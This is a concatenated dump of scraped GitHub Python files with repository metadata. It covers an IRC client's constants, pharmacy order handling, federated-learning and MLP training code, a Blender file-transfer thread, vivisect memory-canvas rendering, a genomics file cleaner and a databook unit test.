main()\n","repo_name":"007Nil/SJS","sub_path":"UserCommands/jsub.py","file_name":"jsub.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29632801473","text":"import os\n\n# Info\nVERSION = \"1.0\"\nNAME = \"PyRC\"\n\n# Data\nTWITCH_IRC_SERVER = \"irc.chat.twitch.tv\"\n\n# Log Paths\nPATH_ROOT = os.path.expanduser(\"~/.pyrc/\")\nPATH_LOG_DIR = os.path.join(PATH_ROOT, \"log/\")\n","repo_name":"rolandoislas/PyRC","sub_path":"src/data/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14070675345","text":"import uuid,csv,os\nfrom ..models import Order\nfrom ..interface.reclib import getmed,getpname\n\ndef checkoutdict(pid,request):\n cart=request.session['cart']\n list=[]\n resdict = {'list': list,\n \"pid\": pid,\n 'total': 0.0\n }\n for i in cart.items:\n if i['pid'] == resdict['pid']:\n resdict['list'].append(i)\n resdict['total'] += round(float(i['price']) * float(i['quantity']),2)\n resdict['pname']=i['pname']\n\n return resdict\n\ndef checkout(request):\n pid = request.GET['pid']\n resdict = checkoutdict(pid, request)\n resdict['address']=request.POST['address']\n resdict['tel']= request.POST['tel']\n print(\"resdict\",resdict)\n url=check_url(resdict)\n order=Order.objects.create(idpharmacy=pid,idcustomer=request.user.id,order_url=url,status='unpaid')\n return order.idorder\n\ndef check_url(resdict):\n url=uuid.uuid4()\n filename = './csvdata/orderdata/{}.csv'.format(url)\n f = open(filename, 'a+', newline='') # start with no blank\n writer = csv.writer(f)\n itemlist=resdict['list']\n i=[resdict['pname'],resdict['address'],resdict['tel']]\n writer.writerow(i)\n for i in itemlist:\n writer.writerow(i.values())\n f.close()\n return url\n\ndef url_to_list(resdict):\n url=resdict['order_url']\n filename='./csvdata/orderdata/{}.csv'.format(url)\n itemlist=[]\n total=0\n with open(filename, 'r') as csvfile:\n reader = csv.reader(csvfile)\n for i, rows in enumerate(reader):\n print(rows)\n if (i == 0):\n pname=rows[0]\n address=rows[1]\n tel=rows[2]\n continue\n idict={'mid': rows[0], 'quantity': rows[1], 'ypmc': rows[2], 'price': rows[3], 'pid': rows[4], 'pname': rows[5]}\n total+=float(rows[1])*float(rows[3])\n itemlist.append(idict)\n resdict['list']=itemlist\n resdict['pname']=pname\n resdict['address']=address\n resdict['tel']=tel\n resdict['total']=total\n return resdict\n","repo_name":"seiseiko/se-group2","sub_path":"interface/orderlib.py","file_name":"orderlib.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72754886826","text":"import random as rd\r\nimport torch\r\nfrom mimetypes import init\r\nimport numpy as np\r\nimport threading\r\nfrom torch.autograd import Variable as v\r\nfrom torch import nn\r\nimport time\r\n\r\nclass Server():\r\n def __init__(self) -> None:\r\n self.weight = []\r\n self.possibility = []\r\n self.clients_pool = []\r\n self.clients_num = None\r\n self.grad_pool = []\r\n self.epsilon = 1\r\n self.lamda = 1\r\n self.time_cost = 0\r\n \r\n\r\n def get_possibility(self, clients):\r\n if len(self.possibility) == 0:\r\n total = 0\r\n for client in clients:\r\n total += len(client.data_set)\r\n \r\n for client in clients:\r\n self.possibility.append(len(client.data_set)/total)\r\n\r\n \r\n def aggregate_weight(self, clients):\r\n start_time = time.time()\r\n with torch.no_grad: # 避免纳入计算图以消耗内存\r\n if len(self.grad_pool) == self.clients_num:\r\n input_weight_after_aggregate = v(torch.zeros_like(clients[0].model.get_weight(0))) #初始化每一层的张量\r\n hidden_weight_after_aggregate = v(torch.zeros_like(clients[0].model.get_weight(1)))\r\n output_weight_after_aggregate = v(torch.zeros_like(clients[0].model.get_weight(2)))\r\n self.get_possibility(self.clients_pool) # 获得每个客户端的权重(FedAvg算法)\r\n i = 0\r\n j = 0\r\n for client in self.clients_pool:\r\n if rd.random() < 0.3: # 模拟一些客户端无法参与聚合(FedAvg算法)\r\n continue\r\n input_weight_after_aggregate += torch.mul(client.model.get_weight(0), self.possibility[j]) #加权聚合\r\n hidden_weight_after_aggregate += torch.mul(client.model.get_weight(1), self.possibility[j])\r\n output_weight_after_aggregate += torch.mul(client.model.get_weight(2), self.possibility[j])\r\n j += 1\r\n self.grad_pool = [] # 清空梯度池,等待下一轮重新算\r\n \r\n for client in self.clients_pool:\r\n client.model.set_weight(0, input_weight_after_aggregate) # 设置权值\r\n client.model.set_weight(1, hidden_weight_after_aggregate)\r\n client.model.set_weight(2, output_weight_after_aggregate)\r\n end_time = time.time()\r\n self.time_cost += end_time-start_time\r\n\r\n \r\n\r\n\r\n ","repo_name":"big-Cat-123/FLFramework","sub_path":"Net/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3520027220","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\nclass MLP:\n def __init__(self, data, max_epoch, learning_rate):\n # obtención de datos\n self.max_epoch = max_epoch\n self.learning_rate = learning_rate\n self.m, self.n = data.shape\n self.X = data[:, 0:self.n-1]\n self.Y = np.array([data[:, self.n-1]]).T\n\n # normalización de los datos\n self.mean = np.mean(self.X, axis=0)\n self.sigma = np.std(self.X, axis=0, ddof=1)\n self.X = stats.zscore(self.X, ddof=1)\n\n # numero de clases diferentes\n self.class_num = len(np.unique(self.Y))\n self.D = np.zeros((self.m, self.class_num))\n\n # guarda los errores por epoca\n self.error = []\n\n # matrices de pesos\n self.W1 = np.empty((10, self.n-1))\n self.W2 = np.empty((self.class_num, 10))\n self.init_weights()\n\n def init_weights(self):\n # matriz diagonal\n for i in range(self.m):\n self.D[i, self.Y[i]-1] = 1\n # pesos random en el rango de [-1 a 1]\n self.W1 = np.random.uniform(-1, 1, self.W1.shape)\n self.W2 = np.random.uniform(-1, 1, self.W2.shape)\n\n def sigmoid(self, y):\n return 1 / ( 1 + np.exp(-y))\n\n def softmax(self, y):\n return np.exp(y) / np.sum(np.exp(y))\n\n def feed_forward(self, x): \n # capa oculta\n v1 = np.dot(self.W1, x);\n y1 = self.sigmoid(v1)\n\n # capa final\n v = np.dot(self.W2, y1)\n y = self.softmax(v)\n\n return y, y1\n\n def backpropagation(self, y, y1, d):\n # calculamos el error\n e = d - y\n delta = e\n self.error.append(np.sum(np.abs(e)))\n\n # retropropagamos el error\n e1 = np.dot(self.W2.T, delta)\n delta1 = y1 * (1 - y1) * e1\n\n return delta, delta1\n\n def train(self):\n conv = []\n for epoch in range(self.max_epoch):\n for i in range(self.m):\n x = np.array([self.X[i]]).T\n d = np.array([self.D[i]]).T\n\n # alimentamos la red\n y, y1 = self.feed_forward(x)\n\n # calculamos y retropropagamos el error\n delta, delta1 = self.backpropagation(y, y1, d)\n \n # actualizamos los pesos\n dW1 = self.learning_rate * np.dot(delta1, x.T)\n self.W1 = self.W1 + dW1\n\n dW2 = self.learning_rate * np.dot(delta, y1.T)\n self.W2 = self.W2 + dW2\n conv.append(np.sum(self.error[:]))\n print(\"Epoca: \", epoch)\n plt.plot(conv)\n self.error.clear() \n plt.show()\n\n def encode_output(self, y):\n return (np.where(y == np.amax(y))[0][0]) + 1\n\n def evaluate(self, x, norm = True):\n if norm:\n x = (x - self.mean)/self.sigma;\n x = np.array([x]).T\n y,_ = self.feed_forward(x)\n return self.encode_output(y)\n\n def get_error_classification(self):\n errors = 0\n for i in range(self.m):\n y = self.evaluate(self.X[i], False)\n if self.Y[i, 0] == y:\n errors += 1\n return self.m - errors\n\nif __name__ == \"__main__\":\n # obtenemos el set de datos\n df = pd.read_csv(\"dataset_multiclassOK.csv\")\n # creamos una instancia de la red\n mlp = MLP(np.array(df), 200, 0.1)\n # entrenamos la red\n mlp.train()\n\n example_data = [47,2,3,6500,44300];\n print(\"Predicción: \", mlp.evaluate(example_data))\n print(\"Errores: \", mlp.get_error_classification())\n\n\n \n","repo_name":"angelhumberto99/MLP","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15470368518","text":"class SetupNetworkService(object):\n\n def __init__(self, neural_net, word_ids, url_ids):\n self.neural_net = neural_net\n self.word_ids = word_ids\n self.url_ids = url_ids\n\n def call(self):\n hidden_ids = self.neural_net.get_all_hidden_ids(self.word_ids, self.url_ids)\n\n # node outputs\n a_input = [1.0] * len(self.word_ids)\n a_hidden = [1.0] * len(hidden_ids)\n a_output = [1.0] * len(self.url_ids)\n\n # weight matrix\n weight_input = [[self.neural_net.get_strength(word_id, hidden_id, 0)\n for hidden_id in hidden_ids]\n for word_id in self.word_ids]\n weight_output = [[self.neural_net.get_strength(hidden_id, url_id, 1)\n for url_id in self.url_ids]\n for hidden_id in hidden_ids]\n # return tuple of values, nodes and weights\n return ((self.word_ids, hidden_ids, self.url_ids),\n (a_input, a_hidden, a_output),\n (weight_input, weight_output))\n","repo_name":"andreffs18/collective-intelligence","sub_path":"chapter4/services/neural_net/setup_network_service.py","file_name":"setup_network_service.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15607004215","text":"# ***** BEGIN GPL LICENSE BLOCK *****\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n# ***** END GPL LICENCE BLOCK *****\n#\n# (c) 2018, Blender Foundation - Sybren A. Stüvel\nimport abc\nimport enum\nimport logging\nimport pathlib\nimport queue\nimport threading\nimport time\nimport typing\n\nfrom . import progress\n\nlog = logging.getLogger(__name__)\n\n\nclass FileTransferError(IOError):\n \"\"\"Raised when one or more files could not be transferred.\"\"\"\n\n def __init__(self, message, files_remaining: typing.List[pathlib.Path]) -> None:\n super().__init__(message)\n self.files_remaining = files_remaining\n\n\nclass Action(enum.Enum):\n COPY = 1\n MOVE = 2\n\n\nQueueItem = typing.Tuple[pathlib.Path, pathlib.PurePath, Action]\n\n\nclass FileTransferer(threading.Thread, metaclass=abc.ABCMeta):\n \"\"\"Abstract superclass for file transfer classes.\n\n Implement a run() function in a subclass that performs the actual file\n transfer.\n \"\"\"\n\n def __init__(self) -> None:\n super().__init__()\n self.log = log.getChild('FileTransferer')\n\n # For copying in a different process. By using a priority queue the files\n # are automatically sorted alphabetically, which means we go through all files\n # in a single directory at a time. This should be faster to copy than random\n # access. The order isn't guaranteed, though, as we're not waiting around for\n # all file paths to be known before copying starts.\n\n # maxsize=100 is just a guess as to a reasonable upper limit. When this limit\n # is reached, the main thread will simply block while waiting for this thread\n # to finish copying a file.\n self.queue = queue.PriorityQueue(maxsize=100) # type: queue.PriorityQueue[QueueItem]\n self.done = threading.Event()\n self._abort = threading.Event() # Indicates user-requested abort\n\n self.__error_mutex = threading.Lock()\n self.__error = threading.Event() # Indicates abort due to some error\n self.__error_message = ''\n\n # Instantiate a dummy progress callback so that we can call it\n # without checking for None all the time.\n self.progress_cb = progress.ThreadSafeCallback(progress.Callback())\n self.total_queued_bytes = 0\n self.total_transferred_bytes = 0\n\n @abc.abstractmethod\n def run(self):\n \"\"\"Perform actual file transfer in a thread.\"\"\"\n\n def queue_copy(self, src: pathlib.Path, dst: pathlib.PurePath):\n \"\"\"Queue a copy action from 'src' to 'dst'.\"\"\"\n assert not self.done.is_set(), 'Queueing not allowed after done_and_join() was called'\n assert not self._abort.is_set(), 'Queueing not allowed after abort_and_join() was called'\n if self.__error.is_set():\n return\n self.queue.put((src, dst, Action.COPY))\n self.total_queued_bytes += src.stat().st_size\n\n def queue_move(self, src: pathlib.Path, dst: pathlib.PurePath):\n \"\"\"Queue a move action from 'src' to 'dst'.\"\"\"\n assert not self.done.is_set(), 'Queueing not allowed after done_and_join() was called'\n assert not self._abort.is_set(), 'Queueing not allowed after abort_and_join() was called'\n if self.__error.is_set():\n return\n self.queue.put((src, dst, Action.MOVE))\n self.total_queued_bytes += src.stat().st_size\n\n def report_transferred(self, bytes_transferred: int):\n \"\"\"Report transfer of `block_size` bytes.\"\"\"\n\n self.total_transferred_bytes += bytes_transferred\n self.progress_cb.transfer_progress(self.total_queued_bytes, self.total_transferred_bytes)\n\n def done_and_join(self) -> None:\n \"\"\"Indicate all files have been queued, and wait until done.\n\n After this function has been called, the queue_xxx() methods should not\n be called any more.\n\n :raises FileTransferError: if there was an error transferring one or\n more files.\n \"\"\"\n\n self.done.set()\n self.join()\n\n if not self.queue.empty():\n # Flush the queue so that we can report which files weren't copied yet.\n files_remaining = self._files_remaining()\n assert files_remaining\n raise FileTransferError(\n \"%d files couldn't be transferred\" % len(files_remaining),\n files_remaining)\n\n def _files_remaining(self) -> typing.List[pathlib.Path]:\n \"\"\"Source files that were queued but not transferred.\"\"\"\n files_remaining = []\n while not self.queue.empty():\n src, dst, act = self.queue.get_nowait()\n files_remaining.append(src)\n return files_remaining\n\n def abort(self) -> None:\n \"\"\"Abort the file transfer, immediately returns.\"\"\"\n log.info('Aborting')\n self._abort.set()\n\n def abort_and_join(self) -> None:\n \"\"\"Abort the file transfer, and wait until done.\"\"\"\n\n self.abort()\n self.join()\n\n files_remaining = self._files_remaining()\n if not files_remaining:\n return\n log.warning(\"%d files couldn't be transferred, starting with %s\",\n len(files_remaining), files_remaining[0])\n\n def iter_queue(self) -> typing.Iterable[QueueItem]:\n \"\"\"Generator, yield queued items until the work is done.\"\"\"\n\n while True:\n if self._abort.is_set() or self.__error.is_set():\n return\n\n try:\n src, dst, action = self.queue.get(timeout=0.5)\n self.progress_cb.transfer_file(src, dst)\n yield src, dst, action\n except queue.Empty:\n if self.done.is_set():\n return\n\n def join(self, timeout: float = None) -> None:\n \"\"\"Wait for the transfer to finish/stop.\"\"\"\n\n if timeout:\n run_until = time.time() + timeout\n else:\n run_until = float('inf')\n\n # We can't simply block the thread, we have to keep watching the\n # progress queue.\n while self.is_alive():\n if time.time() > run_until:\n self.log.warning('Timeout while waiting for transfer to finish')\n return\n\n self.progress_cb.flush(timeout=0.5)\n\n # Since Thread.join() neither returns anything nor raises any exception\n # when timing out, we don't even have to call it any more.\n\n def delete_file(self, path: pathlib.Path):\n \"\"\"Deletes a file, only logging a warning if deletion fails.\"\"\"\n log.debug('Deleting %s, file has been transferred', path)\n try:\n path.unlink()\n except IOError as ex:\n log.warning('Unable to delete %s: %s', path, ex)\n\n @property\n def has_error(self) -> bool:\n return self.__error.is_set()\n\n def error_set(self, message: str):\n \"\"\"Indicate an error occurred, and provide a message.\"\"\"\n\n with self.__error_mutex:\n # Avoid overwriting previous error messages.\n if self.__error.is_set():\n return\n\n self.__error.set()\n self.__error_message = message\n\n def error_message(self) -> str:\n \"\"\"Retrieve the error messsage, or an empty string if no error occurred.\"\"\"\n with self.__error_mutex:\n if not self.__error.is_set():\n return ''\n return self.__error_message\n","repo_name":"Tresorio/pablo","sub_path":"src/services/blender_asset_tracer/pack/transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":8045,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"3266699224","text":"\"\"\"\nThe envi.memcanvas module is the home of the base MemoryRenderer object and\nMemoryCanvas objects.\n\"\"\"\n\nimport sys\nimport traceback\n\nimport envi.symstore.resolver as e_resolv\n\n\nclass MemoryRenderer(object):\n \"\"\"\n A top level object for all memory renderers\n \"\"\"\n\n def rendSymbol(self, mcanv, va):\n \"\"\"\n If there is a symbolic name for the current va, print it...\n \"\"\"\n sym = mcanv.syms.getSymByAddr(va)\n if sym is not None:\n mcanv.addVaText(\"%s:\\n\" % repr(sym), va)\n\n def rendVa(self, mcanv, va):\n tag = mcanv.getVaTag(va)\n mcanv.addText(\"%.8x:\" % va, tag=tag)\n\n def rendChars(self, mcanv, bytez):\n for b in bytez:\n val = b\n bstr = \"%.2x\" % val\n if val < 0x20 or val > 0x7e:\n b = \".\"\n else:\n b = chr(b)\n mcanv.addNameText(b, bstr)\n\n def render(self, mcanv, va):\n \"\"\"\n Render one \"unit\" and return the size you ate.\n mcanv will be a MemoryCanvas extender and va\n is the virtual address you are expected to render.\n \"\"\"\n raise Exception(\"Implement render!\")\n\n\nclass MemoryCanvas:\n \"\"\"\n A memory canvas is a place where the textual representation\n of memory will be displayed. The methods implemented here show\n how a memory canvas which simply prints would be implemented.\n \"\"\"\n\n def __init__(self, mem, syms=None):\n if syms is None:\n syms = e_resolv.SymbolResolver()\n self.mem = mem\n self.syms = syms\n self.currend = None\n self.renderers = {}\n self._canv_scrolled = False\n self._canv_navcallback = None\n\n # A few things for tracking renders.\n self._canv_beginva = None\n self._canv_endva = None\n self._canv_rendvas = []\n\n def setScrolledCanvas(self, scroll):\n self._canv_scrolled = scroll\n\n def write(self, msg):\n # So a canvas can act like simple standard out\n self.addText(msg)\n\n def setNavCallback(self, callback):\n \"\"\"\n Set a navigation \"callback\" that will be called with\n a memory expression as it's first argument anytime the\n canvas receives user input which desires nav...\n \"\"\"\n self._canv_navcallback = callback\n\n def addRenderer(self, name, rend):\n self.renderers[name] = rend\n self.currend = rend\n\n def getRenderer(self, name):\n return self.renderers.get(name)\n\n def getRendererNames(self):\n ret = list(self.renderers.keys())\n ret.sort()\n return ret\n\n def setRenderer(self, name):\n rend = self.renderers.get(name)\n if rend is None:\n raise Exception(\"Unknown renderer: %s\" % name)\n self.currend = rend\n\n def getTag(self, typename) -> object:\n \"\"\"Retrieve a non-named tag (doesn't highlight or do anything particularly special,\n but allows color by typename).\n\n The render class will call this method when he wants to add a text representation of a\n specific data: xrefs usually. We basically have to return some kind of identifier that will\n later be given back to us as a parameter in addText() so that we know how to handle this text.\n Very useful for highlighting etc. The ui canvas classes use this heavily.\n\n :param typename: the kind of the text that is going to be added\n :return: object\n \"\"\"\n return None\n\n def getNameTag(self, name, typename='name') -> object:\n \"\"\"Retrieve a \"tag\" object for a name. \"Name\" tags will (if possible) be highlighted in the rendering canvas\n\n The render class will call this method when he wants to add a text representation of a\n specific data: registers, mnemonics etc. We basically have to return some kind of identifier that will\n later be given back to us as a parameter in addText() so that we know how to handle this text.\n Very useful for highlighting etc. The ui canvas classes use this heavily.\n\n :param name: basically the text that will be added\n :param typename: what kind it is.\n :return: object\n \"\"\"\n return None # No highlighting in plain text\n\n def getVaTag(self, va) -> object:\n \"\"\"\n Retrieve a tag object suitable for showing that the text\n added with this tag should link through to the specified\n virtual address in the memory canvas.\n\n The render class will call this method when he wants to add a text representation of a Virtual Address - VA\n We basically have to return some kind of identifier that will later be given back to us as a parameter\n in addText() so that we know how to handle this text. Very useful for highlighting etc.\n The ui canvas classes use this heavily.\n\n :param va: virtual address\n :return: object\n \"\"\"\n return None # No linking in plain text\n\n def addText(self, text, tag=None):\n \"\"\"Add text to the canvas with a specified tag. The tag is what the canvas has returned when the render\n class has asked her for the specific tag using above few methods (getVaTag, getNameTag, getTag) this\n unmodified result is passed directly here. Thus the canvas knows exactly what it is going to render now.\n\n NOTE: Implementors should probably check _canv_scrolled to\n decide if they should scroll to the end of the view...\n \"\"\"\n if sys.stdout.encoding:\n if not isinstance(text, str):\n text = text.decode(sys.stdout.encoding)\n sys.stdout.write(text)\n\n def addNameText(self, text, name=None, typename='name'):\n # Convenience method\n if name is None:\n name = text\n tag = self.getNameTag(name, typename=typename)\n self.addText(text, tag=tag)\n\n def addVaText(self, text, va):\n # Convenience method\n tag = self.getVaTag(va)\n self.addText(text, tag=tag)\n\n def render(self, va, size, rend=None):\n raise Exception('Depricated! use renderMemory!')\n\n def clearCanvas(self):\n pass\n\n def _beginRenderMemory(self, va, size, rend):\n pass\n\n def _endRenderMemory(self, va, size, rend):\n pass\n\n def _beginRenderVa(self, va):\n pass\n\n def _endRenderVa(self, va, size):\n pass\n\n def _beginUpdateVas(self, valist):\n raise Exception('Default canvas cant update!')\n\n def _endUpdateVas(self):\n pass\n\n def _beginRenderAppend(self):\n raise Exception('Default canvas cant append!')\n\n def _endRenderAppend(self):\n pass\n\n def _beginRenderPrepend(self):\n raise Exception('Default canvas cant prepend!')\n\n def _endRenderPrepend(self):\n pass\n\n def _isRendered(self, va, maxva):\n \"\"\"\n Returns true if any part of the current render overlaps\n with the specified region.\n \"\"\"\n if self._canv_beginva is None:\n return False\n\n if self._canv_endva is None:\n return False\n\n if va > self._canv_endva:\n return False\n\n if maxva < self._canv_beginva:\n return False\n\n return True\n\n def _loc_helper(self, va):\n \"\"\"\n allows sub classes to make the starting VA make more contextual sense.\n \"\"\"\n return va, 0\n\n def renderMemoryUpdate(self, va, size):\n\n maxva = va + size\n if not self._isRendered(va, maxva):\n return\n\n # Find the index of the first and last change\n iend = None\n ibegin = None\n for i, (rendva, rendsize) in enumerate(self._canv_rendvas):\n\n if ibegin is None and va <= rendva:\n ibegin = i\n\n if iend is None and maxva <= rendva:\n iend = i\n\n if ibegin is not None and iend is not None:\n break\n\n saved_last = self._canv_rendvas[iend:]\n saved_first = self._canv_rendvas[:ibegin]\n updatedvas = self._canv_rendvas[ibegin:iend]\n # print 'IBEGIN',hex(ibegin)\n # print 'IEND',hex(iend)\n # print 'FIRST',repr([hex(va) for va in saved_first])\n # print 'UPDATED',repr([hex(va) for va in updatedvas])\n # print 'LAST',repr([hex(va) for va in saved_last])\n\n # We must actually start rendering from the beginning\n # of the first updated VA index\n startva = updatedvas[0][0]\n endva = self._canv_endva\n if saved_last:\n endva = saved_last[0][0]\n\n newrendvas = []\n\n self._beginUpdateVas(updatedvas)\n try:\n\n while startva < endva:\n self._beginRenderVa(startva)\n rsize = self.currend.render(self, startva)\n newrendvas.append((startva, rsize))\n self._endRenderVa(startva, rsize)\n startva += rsize\n\n except Exception as e:\n s = traceback.format_exc()\n self.addText(\"\\nException At %s: %s\\n\" % (hex(va), s))\n\n self._canv_rendvas = saved_first + newrendvas + saved_last\n\n self._endUpdateVas()\n\n def renderMemoryPrepend(self, size):\n firstva, firstsize = self._canv_rendvas[0]\n\n va, szdiff = self._loc_helper(firstva - size)\n size += szdiff\n\n self._beginRenderPrepend()\n\n savedrendvas = self._canv_rendvas\n self._canv_rendvas = []\n self._canv_beginva = va\n\n rend = self.currend\n\n try:\n\n while va < firstva:\n self._beginRenderVa(va)\n rsize = rend.render(self, va)\n self._canv_rendvas.append((va, rsize))\n self._endRenderVa(va, rsize)\n va += rsize\n\n self._canv_rendvas.extend(savedrendvas)\n\n except Exception as e:\n s = traceback.format_exc()\n self.addText(\"\\nException At %s: %s\\n\" % (hex(va), s))\n\n self._endRenderPrepend()\n\n def renderMemoryAppend(self, size):\n lastva, lastsize = self._canv_rendvas[-1]\n va = lastva + lastsize\n\n self._beginRenderAppend()\n\n rend = self.currend\n try:\n maxva = va + size\n while va < maxva:\n self._beginRenderVa(va)\n rsize = rend.render(self, va)\n self._canv_rendvas.append((va, rsize))\n self._endRenderVa(va, rsize)\n va += rsize\n\n self._canv_endva = maxva\n\n except Exception as e:\n s = traceback.format_exc()\n self.addText(\"\\nException At %s: %s\\n\" % (hex(va), s))\n\n self._endRenderAppend()\n\n def renderMemory(self, va, size, rend=None):\n\n # if this is not a \"scrolled\" canvas, clear it.\n if not self._canv_scrolled:\n self.clearCanvas()\n\n if rend is None:\n rend = self.currend\n\n self.currend = rend\n\n # Set our canvas render tracking variables.\n self._canv_beginva = va\n self._canv_endva = va + size\n self._canv_rendvas = []\n\n # A callback for \"bulk\" rendering (let the canvas cache...)\n self._beginRenderMemory(va, size, rend)\n try:\n maxva = va + size\n while va < maxva:\n\n self._beginRenderVa(va)\n try:\n rsize = rend.render(self, va)\n self._canv_rendvas.append((va, rsize))\n self._endRenderVa(va, rsize)\n va += rsize\n except Exception as e:\n # traceback.print_exc()\n # self.addText(\"\\nRender Exception At %s: %s\\n\" % (hex(va), e))\n self.addText(\"\\nRender Exception At %s\\n\" % (hex(va)))\n self._endRenderVa(va, 1)\n break\n\n except Exception as e:\n self.addText(\"\\nException At %s: %s\\n\" % (hex(va), e))\n\n # Canvas callback for render completion (or error...)\n self._endRenderMemory(va, size, rend)\n\n\nclass StringMemoryCanvas(MemoryCanvas):\n def __init__(self, mem, syms=None):\n MemoryCanvas.__init__(self, mem, syms=syms)\n self.strval = ''\n\n # we perform manual clearing of the canvas.\n # we don't want it cleared every renderMemory call.\n self.setScrolledCanvas(True)\n\n def clearCanvas(self):\n self.strval = ''\n\n def addText(self, text, tag=None):\n self.strval += text\n\n def __str__(self):\n return self.strval\n\n\nclass CanvasMethodProxy(object):\n \"\"\"\n Target for teecanvas.\n \"\"\"\n\n def __init__(self, canvases, name):\n self.canvases = canvases\n self.name = name\n\n def __call__(self, *args, **kwargs):\n for canvas in self.canvases:\n attr = getattr(canvas, self.name)\n attr(*args, **kwargs)\n\n\nclass TeeCanvas(object):\n \"\"\"\n Replaces the canvas on an object (temporarily) with a proxy canvas that\n forwards requests to other canvases.\n\n Example usage:\n with TeeCanvas(self, (self.canvas, canvas2)) as tc:\n self.onecmd(command)\n \"\"\"\n\n def __init__(self, target, canvases):\n self.target = target\n self.ocanvas = None\n self.canvases = canvases\n\n def __getattr__(self, name):\n return CanvasMethodProxy(self.canvases, name)\n\n def __enter__(self):\n \"\"\"\n replace the canvas of the target with ourselves.\n \"\"\"\n self.ocanvas = self.target.canvas\n self.target.canvas = self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"\n restore the canvas of the target.\n \"\"\"\n self.target.canvas = self.ocanvas\n","repo_name":"bat-serjo/vivisect-py3","sub_path":"envi/memcanvas/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13665,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"2131371272","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm_notebook as tqdm\n\n\ndef clear_file_chromosomes(filename: str, target: str):\n \"\"\"Removes rows with chromosomes beginning with given target.\n filename:str, the path to the file to clear.\n target:str, the target for the rows to remove.\n \"\"\"\n df = pd.read_csv(filename, sep='\\t', header=None)\n a = np.array(df)\n mask = np.array([row.startswith(target) for row in a[:, 0]])\n pd.DataFrame(a[~mask]).to_csv(filename, sep='\\t', header=None)\n \n\ndef clear_directory_chromosomes(directory: str, target: str = \"chrUn_\"):\n \"\"\"Removes rows with chromosomes beginning with given target.\n directory:str, the path to the directory to clear.\n target:str, the target for the rows to remove.\n \"\"\"\n [\n clear_file_chromosomes(\n \"{directory}/{file}\".format(directory=directory, file=file),\n target) for file in tqdm(next(os.walk(directory))[2]) if file.endswith(\".tab\")\n ]\n \nif __name__ == '__main__':\n clear_directory_chromosomes(\"../../../data/eclip/raw\")\n","repo_name":"gagneurlab/Manuscript_Avsec_Bioinformatics_2017","sub_path":"Scripts/RBP/Eclip/clear_tab_files.py","file_name":"clear_tab_files.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"30950231757","text":"\n# Third-party\nimport numpy as np\nimport testutils\n\n# Local imports\nimport cape.cntl\nimport cape.cfdx.dataBook as databook\n\n\n# Test DataBook Class\n@testutils.run_testdir(__file__)\ndef test_01_databook():\n # Read settings\n cntl = cape.cntl.Cntl()\n # Read data book\n db = databook.DataBook(cntl)\n # Check the __repr__\n assert str(db) == \"\"\n # Check the ocmponents\n assert db.Components == [\n \"cap\", \"body\", \"fins\",\n \"arrow_no_base\", \"arrow_total\",\n \"fuselage\", \"fin1\", \"fin2\", \"fin3\", \"fin4\"\n ]\n # Extract a component\n dbc = db[\"fin1\"]\n # Test that we read a databook str with a comma in it\n assert ',' in db[\"fuselage\"][\"config\"][0]\n # Display that\n assert str(dbc) == \"\"\n # Match the trajectory to the actual data\n dbc.UpdateRunMatrix()\n # Filter cases at alpha=2\n I = dbc.x.Filter([\"alpha==2\"])\n # Check\n assert list(I) == [2, 7, 12, 17, 22, 27]\n # Test CaseFM Class\n # Create a force & moment history\n fm = databook.CaseFM(\"fin\")\n # Some iterations\n n = 500\n # Create some iterations\n fm.i = np.arange(n)\n # Seed the random number generator\n np.random.seed(450)\n # Create some random numbers\n fm.CN = 1.4 + 0.3*np.random.randn(n)\n # Save properties\n fm.cols = [\"i\", \"CN\"]\n fm.coeffs = [\"CN\"]\n # Check __repr__\n assert str(fm) == \"\"\n # Calculate statistics\n stats = fm.GetStatsN(100)\n # Check values\n assert abs(stats[\"CN\"] - 1.4149) <= 1e-4\n assert abs(stats[\"CN_min\"] - 0.6555) <= 1e-4\n assert abs(stats[\"CN_max\"] - 2.0462) <= 1e-4\n assert abs(stats[\"CN_std\"] - 0.3095) <= 1e-4\n assert abs(stats[\"CN_err\"] - 0.0190) <= 1e-4\n\n \nif __name__ == \"__main__\":\n test_01_databook()\n\n","repo_name":"nasa/cape","sub_path":"doc/test/001_cape-007_databook-01_databook/_test_01_databook.py","file_name":"_test_01_databook.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"} 